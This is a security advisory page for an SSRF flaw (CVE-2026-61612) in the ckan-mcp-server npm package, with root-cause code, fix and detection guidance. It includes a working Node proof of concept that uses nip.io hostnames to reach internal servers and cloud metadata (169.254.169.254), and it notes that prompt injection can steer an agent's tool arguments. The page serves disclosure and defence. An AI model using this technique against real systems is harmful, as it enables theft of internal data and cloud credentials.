CVE-2026-61612: @aborruso/ckan-mcp-server has SSRF via DNS-name → internal IP — incomplete fix of CVE-2026-53509
@aborruso/ckan-mcp-server up to 0.4.107 checks only the hostname string of a caller-supplied `server_url` and never resolves DNS. A name that resolves to 127.0.0.1 or 169.254.169.254 passes, and the response comes back to the caller. This is the third bypass of the same guard. Fixed in 0.4.108.
Published Sep 22, 2026 · Analysis Oct 22, 2026
What an attacker can do
validateServerUrl in src/utils/http.ts blocks IPv4 literals in private ranges and three loopback names: localhost, ip6-localhost and ip6-loopback. It does no name resolution. A host such as 127.0.0.1.nip.io or 169.254.169.254.nip.io is neither a literal nor on the list, so it passes and then resolves to the internal address. Earlier fixes (CVE-2026-33060, then CVE-2026-53509) only added strings to the denylist. Encodings like decimal 2130706433 or 0x7f.0.0.1 do not bypass it, because the URL parser normalizes them.
server_url is an argument on every tool and reaches makeCkanRequest and querySparqlEndpoint. The sink is not blind: a non-CKAN reply returns verbatim in a CKAN API returned success=false: message. The reporter's proof returned a fake IAM token from a local server through ckan_package_search.
In the default stdio setup, the attacker needs prompt injection to steer the argument. In the self-hosted HTTP transport (TRANSPORT=http, POST /mcp), which is unauthenticated, any remote client can do it directly and reach cloud metadata and internal hosts. The reporter notes the official Cloudflare Worker endpoint is sandboxed and cannot reach those ranges.
Who is affected
@aborruso/ckan-mcp-server through 0.4.107, which was the latest release when reported. The guard never resolved DNS in any release. Highest risk: the self-hosted HTTP transport on a cloud host, where metadata is reachable.
npm ls @aborruso/ckan-mcp-server@aborruso/ckan-mcp-server
- Ecosystem
- npm
- Affected
- <= 0.4.107
- Fixed in
- 0.4.108
- Check
npm ls @aborruso/ckan-mcp-server
How to fix it
Upgrade to 0.4.108:
npm install @aborruso/[email protected]The release resolves the hostname with an SSRF-safe lookup agent, rejects any private or internal result, and pins the connection to the validated IP, which also stops DNS rebinding and redirects to internal hosts. Redirects are capped at 5, and sparql_query requires HTTPS. The HTTP transport now refuses to start without CKAN_ALLOWED_DOMAINS; setting CKAN_HTTP_ALLOW_ALL=true overrides that with a warning, so avoid it. Stdio is unaffected by that rule.
How to tell if you were hit
In HTTP deployments, check access logs for POST /mcp calls whose server_url uses wildcard-DNS names such as nip.io or sslip.io, or domains you do not recognise. On the host, look for outbound connections from the Node process to 127.0.0.1, RFC 1918 ranges or 169.254.169.254. On AWS, review use of the instance role from unexpected addresses. For stdio use with an agent, Beam records agent MCP tool calls, so a tool call with an odd server_url is visible.
Original advisory
From the GitHub Advisory Database (CC BY 4.0).
Summary
The SSRF guard validateServerUrl (added for CVE-2026-33060, extended for CVE-2026-53509) validates only the hostname string and never resolves DNS. Any caller-supplied server_url whose hostname *resolves* to an internal address passes the guard, so the server issues requests to loopback and cloud metadata (`169.254.169.254`). This is a third bypass of the same guard, still present in the current latest 0.4.107, and it reaches IMDS — strictly more than CVE-2026-53509, which only reached loopback.
Affected / patched
@aborruso/ckan-mcp-server(npm) — all versions with the guard, through 0.4.107 (currentlatest). The guard has never resolved DNS. No patch yet.
Severity
It is effectively High for the self-hosted unauthenticated HTTP transport (TRANSPORT=http, POST /mcp), where any remote client reaches IMDS/internal hosts directly. The official Cloudflare Worker endpoint is CF-sandboxed (cannot reach loopback/RFC-1918/IMDS).
Root cause — src/utils/http.ts, validateServerUrl
The guard blocks IP literals and three loopback alias strings, but does no name resolution:
const hostname = parsed.hostname.toLowerCase();
if (new Set(['localhost','ip6-localhost','ip6-loopback']).has(hostname)) throw; // string denylist
if (hostname.match(/^(\d+)\.(\d+)\.(\d+)\.(\d+)$/)) { /* block private/special IPv4 LITERALS */ }
// no DNS resolution → a hostname that RESOLVES to 127.0.0.1 / 169.254.169.254 / 10.x is allowedBoth prior fixes only added literal strings to the denylist (CVE-2026-33060 added the guard; CVE-2026-53509 added ip6-localhost/ip6-loopback). The DNS-resolution gap — the actual root cause — remains. server_url is a caller-controlled argument (z.string().url()) on every tool, reaching makeCkanRequest (all CKAN tools) and querySparqlEndpoint (sparql_query). The sink is non-blind: a non-CKAN response is returned to the caller verbatim via CKAN API returned success=false: <body>.
Note: numeric-IP encodings (decimal 2130706433, short 127.1, hex 0x7f.0.0.1) do not bypass — Node's WHATWG new URL() canonicalizes them to dotted-decimal before the regex. Only the DNS-name vector bypasses.
Proof of concept
Drives the published server over the MCP protocol via the public ckan_package_search tool. Local-only: the loopback server stands in for an internal/IMDS endpoint.
npm install @aborruso/[email protected] @modelcontextprotocol/sdk
node poc.mjsimport http from 'node:http';
import { Client } from "@modelcontextprotocol/sdk/client/index.js";
import { StdioClientTransport } from "@modelcontextprotocol/sdk/client/stdio.js";
const SECRET = 'INTERNAL-ONLY-IAM-CREDENTIALS-AKIAEXAMPLE';
const internal = http.createServer((_req, res) => {
res.writeHead(200, { 'content-type': 'application/json' });
res.end(JSON.stringify({ Token: SECRET })); // stand-in for an IMDS / internal response
});
await new Promise(r => internal.listen(0, '127.0.0.1', r));
const port = internal.address().port;
const client = new Client({ name: "ssrf-poc", version: "1.0.0" });
await client.connect(new StdioClientTransport({
command: "node", args: ["node_modules/@aborruso/ckan-mcp-server/dist/index.js"]
}));
// nip.io is public wildcard DNS: <ip>.nip.io -> <ip>. The guard sees hostname "127.0.0.1.nip.io"
// (not a literal, not in its denylist) and allows it; the request resolves to 127.0.0.1.
// Use 169.254.169.254.nip.io to reach IMDS on a cloud host.
const evil = `http://127.0.0.1.nip.io:${port}/`;
const res = await client.callTool({ name: "ckan_package_search", arguments: { server_url: evil, q: "x" } });
const text = res.content?.[0]?.text || JSON.stringify(res);
console.log("SSRF:", text.includes(SECRET) ? "YES — internal server reached, body returned to caller" : "no");
console.log(text.slice(0, 220));
await client.close(); internal.close();Output:
SSRF: YES — internal server reached, body returned to caller
CKAN API returned success=false: {"Token":"INTERNAL-ONLY-IAM-CREDENTIALS-AKIAEXAMPLE"}A real attacker uses any domain with an A/AAAA record pointing at an internal IP, or DNS rebinding; nip.io just makes the PoC self-contained.
Impact
Caller-controlled SSRF to loopback, RFC-1918 hosts, and 169.254.169.254 (cloud IMDS → IAM credentials), with the response body returned to the caller (non-blind). In the default stdio deployment this requires prompt injection to steer the tool argument; the self-hosted HTTP transport is unauthenticated, so any remote client can trigger it directly.
Suggested fix
Resolve the hostname and validate every resolved IP against the private/special ranges, then pin the connection to the validated IP (custom lookup/agent) so a re-resolve cannot rebind to an internal address — or require the existing CKAN_ALLOWED_DOMAINS allowlist (default-deny, especially for the HTTP transport). A hostname-string denylist cannot close this class.
Credited to EchoSkorJjj.
Questions
- Why did two earlier fixes not stop this?
They added more literal names to a denylist. The guard still looked only at the hostname string, so any name that resolves to an internal IP passed.
- Can it reach cloud credentials?
The reporter says the guard lets requests reach 169.254.169.254 and that the response is returned to the caller, which is how IAM credentials could leak on a cloud host.
- Is the stdio setup safe?
Less exposed. Exploitation there needs prompt injection to set
server_url. The unauthenticated HTTP transport can be hit by any remote client.- Is it exploited in the wild?
No source reports that. Our entry rates it medium (CVSS 3.1 score 5.7), while the advisory text calls it effectively high for self-hosted HTTP.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology
More Other MCP servers and tools vulnerabilities
All Other MCP servers and tools entriesCVE-2026-77361
obsidian-tc : Symlink read-ACL scope bypass via lexical path checks
medium4.7Oct 23, 2026CVE-2026-114126
Storybook dev server vulnerable to code injection from the local network
high8.7Oct 22, 2026CVE-2026-113731
djust: Arbitrary absolute-path file read in the find_handlers_for_template MCP tool
low3.3Oct 21, 2026CVE-2026-114125
Storybook: Missing origin validation in Storybook preview allows code injection from malicious websites
critical9.4Oct 21, 2026CVE-2026-111770
MCP TypeScript server SDK: Shared transport or server instances delivered one HTTP client's messages to another
high7.7Oct 20, 2026GHSA-953h-535j-jg2v
agent-router: MCP session resume does not verify the embedded anti-hijacking subject; default Helm seed makes session IDs forgeable
medium6.8Oct 19, 2026
